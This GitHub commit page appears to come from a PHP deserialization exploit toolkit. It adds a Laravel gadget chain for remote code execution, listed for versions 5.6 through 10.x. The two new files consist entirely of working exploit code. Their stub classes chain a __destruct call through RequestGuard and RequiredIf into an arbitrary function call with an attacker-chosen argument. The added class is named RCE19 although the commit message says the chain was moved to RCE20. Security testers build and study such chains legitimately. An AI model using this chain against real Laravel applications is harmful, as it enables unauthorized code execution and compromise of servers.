Skip to content

Commit

Permalink
Merged coiffeur's into Laravel/RCE20 as Laravel/RCE19 is now taken
Browse files Browse the repository at this point in the history
  • Loading branch information
cfreal committed Dec 1, 2023
2 parents 61db64e + 54ae4f6 commit 5faf5c9
Show file tree
Hide file tree
Showing 2 changed files with 71 additions and 0 deletions.
18 changes: 18 additions & 0 deletions gadgetchains/Laravel/RCE/20/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?php

namespace GadgetChain\Laravel;

class RCE19 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '5.6 <= 10.x';
public static $vector = '__destruct';
public static $author = 'coiffeur';

public function generate(array $parameters)
{
return new \Illuminate\Routing\PendingResourceRegistration(
$parameters['function'],
$parameters['parameter']
);
}
}
53 changes: 53 additions & 0 deletions gadgetchains/Laravel/RCE/20/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
<?php

namespace Illuminate\Auth
{
class RequestGuard
{
protected $callback;
protected $request;
protected $provider;
public function __construct($callback, $request)
{
$this->callback = $callback;
$this->request = $request;
$this->provider = 1;
}
}
}

namespace Illuminate\Validation\Rules
{
class RequiredIf
{
public $condition;
public function __construct($func, $arg)
{
$this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
}
}
}

namespace Illuminate\Routing
{
class ResourceRegistrar
{
protected $router;
public function __construct()
{
$this->router = null;
}
}

class PendingResourceRegistration
{
protected $registrar;
protected $name;
protected $registered = false;
public function __construct($func, $arg)
{
$this->registrar = new \Illuminate\Routing\ResourceRegistrar();
$this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
}
}
}

0 comments on commit 5faf5c9

Please sign in to comment.